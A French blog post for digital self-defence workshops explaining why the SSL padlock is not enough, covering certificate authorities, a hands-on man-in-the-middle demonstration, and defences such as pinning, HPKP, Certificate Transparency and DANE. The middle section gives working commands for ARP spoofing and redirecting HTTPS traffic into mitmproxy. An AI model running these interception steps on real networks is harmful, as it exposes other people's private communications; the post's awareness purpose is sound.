Dans le cadre des ateliers d’autodéfense numérique, j’ai passé un peu de temps à creuser sur l’utilisation de SSL puisque contrairement à ce que la plupart des personnes ont encore tendance à croire, le petit cadenas (qui prouve qu’une connexion SSL est en cours) n’est absolument pas suffisant.
Allez hop, c’est parti pour:
- un tour d’horizon du fonctionnement de SSl
- quelques moyens contourner cette “protection” en faisant une attaque en pratique
- un tour des solutions existantes actuellement et de pourquoi je ne les trouve pas vraiment satisfaisantes.
Comment fonctionne SSL?
Pour expliquer les problèmes de SSL, j’ai d’abord besoin d’expliquer comment tout ça fonctionne.
SSL repose sur l’utilisation de certificats, qui sont générés par des autorités de certification (Certificate Authority que je nomme CA dans la suite de l’article).
Les certificats SSL permettent deux choses:
- De garantir que les communications entre les navigateurs (vous) et les sites Web ne sont connues que du détenteur du certificat du site et de vous même.
- De garantir que le site sur lequel vous vous connectez est bien celui que vous imaginez.
Le navigateur, lors d’une visite d’un site, va télécharger le certificat associé puis vérifier que le certificat en question a bien été généré par un des CA en qui il a confiance.
Imaginons maintenant qu’une des CA essaye de savoir ce qui s’échange entre mon navigateur et le site de ma banque (protégé par SSL). Comment cela se passerait il ?
N’importe quel CA peut donc générer des certificats pour n’importe quel site, et le navigateur vérifierait, lui, que le certificat a bien été généré par une CA.
Tout cela ne poserait pas de soucis si les CA étaient gérés de manière fiable, mais il s’agit d’un travail compliqué, et certains CA ont par le passé montré des faiblesses.
Par exemple, DigiNotar (un CA des Pays-Bas) a été compromise et les attaquant.e.s ont pu générer des certificats SSL frauduleux, ce qui leur a permis d’attaquer des sites tels que Facebook ou GMail.
Vous pouvez retrouver une liste des risques et menaces autour des CA sur le wiki de CACert.
Attaque de l’homme du milieu avec SSL
A force de dire que c’était très facile à faire, j’ai eu envie d’essayer d’espionner des connections protégées par SSL, et effectivement c’est carrément flippant tellement c’est simple.
En l’espace de quelques minutes, il est possible de faire une attaque de l’homme du milieu en utilisant par exemple un outil nommé mitm-proxy.
Pour déchiffrer l’ensemble du trafic SSL, j’ai simplement eu à lancer quelques commandes et avoir un CA dans lequel le navigateur de la victime a confiance. Je l’ai ajouté dans le navigateur cible pour simuler que je l’avais déjà (c’est le cas si un des 1200 CA se fait pirater, ce qui me semble une surface d’attaque assez large).
Je les colle ici si ça vous intéresse:
$ sudo aptitude install mitmproxy
$ mitm-proxy -T --host
Il faut faire croire à votre victime que vous êtes la passerelle vers l’extérieur et à la passerelle que vous êtes la victime:
arpspoof -i wlan0 -t victime gateway
arpspoof -i wlan0 -t gateway victime
Puis dire à notre fausse passerelle de rediriger le trafic des ports 80 et 443 vers notre proxy:
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 4443
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 4443
Et paf, on voit tout ce qui passe entre la machine et le serveur SSL. On peut d’ailleurs même imaginer faire tourner ces quelques commandes sur un raspberry pi, pour aller encore plus vite…
Key-pinning dans les navigateurs
Actuellement, n’importe quel CA peut générer des certificats pour n’importe quel site, et c’est en grande partie ce qui pose souci. Une des manières de faire évoluer la situation est d’épingler les certificats de certains sites directement dans les navigateurs.
Cette approche a le mérite de fonctionner très bien pour un petit nombre de sites critiques (Google, Facebook, etc).
HTTP Public Key Pinning (HPKP)
HTTP Public Key Pinning est également une solution de pinning qui permet d’établir une confiance lors de la première connexion avec le site. C’est ce qu’on appelle du Trust on First Use ou TOFU.
Le navigateur va alors mettre ces informations dans un cache et vérifiera que les certificats correspondent bien lors des prochaines visites.
HPKP est disponible dans Firefox depuis Janvier 2015 et dans Chrome depuis Octobre 2015.
Certificate transparency: des journaux auditables
Une autre approche est celle proposée par certificate transparency:
Certificate Transparency aims to remedy these certificate-based threats by making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users.
Autrement dit, avec ce système les CA doivent rendre public le fait qu’ils aient signé de nouveaux certificats intermédiaires. La signature est ajoutée à un journal sur lequel il n’est possible que d’écrire.
Les navigateurs vont alors vérifier que les certificats utilisés sont bien des certificats qui ont été ajoutés au journal.
Ici, toute l’intelligence est dans la vérification de ces journaux, qui permettent donc de valider/invalider des certificats racines ou intermédiaires.
Il me semble donc qu’il serait possible d’ajouter un certificat frauduleux le temps d’une attaque (et celui ci serait détecté et supprimé ensuite).
Certificate-Transparency n’est donc pas une solution contre une écoute globale mise en place par les gouvernements par exemple.
Si vous lisez bien l’anglais, je vous invite à aller lire cette description du problème et de la solution que je trouve très bien écrite.
DANE + DNSSEC
The DANE working group has developed a framework for securely retrieving keying information from the DNS [RFC6698]. This framework allows secure storing and looking up server public key information in the DNS. This provides a binding between a domain name providing a particular service and the key that can be used to establish encrypted connection to that service.
— Dane WG
Une autre solution est appelée “DANE” et repose par dessus le protocole DNSSEC.
Je connais assez mal DNSSEC donc j’ai passé un peu de temps à lire des documents. L’impression finale que ça me laisse est que le problème est exactement le même que pour SSL: un certain nombre de personnes détiennent les clés et toute la sécurité repose sur cette confiance. Or il est possible que ces clés soient détenues par des personnes non dignes de confiance.
Secure DNS (DNSSEC) uses cryptographic digital signatures signed with a trusted public key certificate to determine the authenticity of data. — https://en.wikipedia.org/wiki/DNS_spoofing
Et aussi:
It is widely believed[1] that securing the DNS is critically important for securing the Internet as a whole, but deployment of DNSSEC specifically has been hampered (As of 22 January 2010) by several difficulties:
- The need to design a backward-compatible standard that can scale to the size of the Internet
- Prevention of “zone enumeration” (see below) where desired
- Deployment of DNSSEC implementations across a wide variety of DNS servers and resolvers (clients)
- Disagreement among implementers over who should own the top-level domain root keys Overcoming the perceived complexity of DNSSEC and DNSSEC deployment
Solutions basées sur la blockchain
Une dernière piste semble être l’utilisation de la blockchain pour distribuer des clés par site.
La solution DNSChain me paraissait tout d’abord un bon point de départ mais la lecture de quelques critiques et interventions du développeur du projet m’ont fait changer d’avis.
Reste encore la piste de Namecoin Control que je n’ai pas encore creusée. Peut-être pour un prochain billet. Toute piste de réflexion est bien sur la bienvenue sur ces sujets!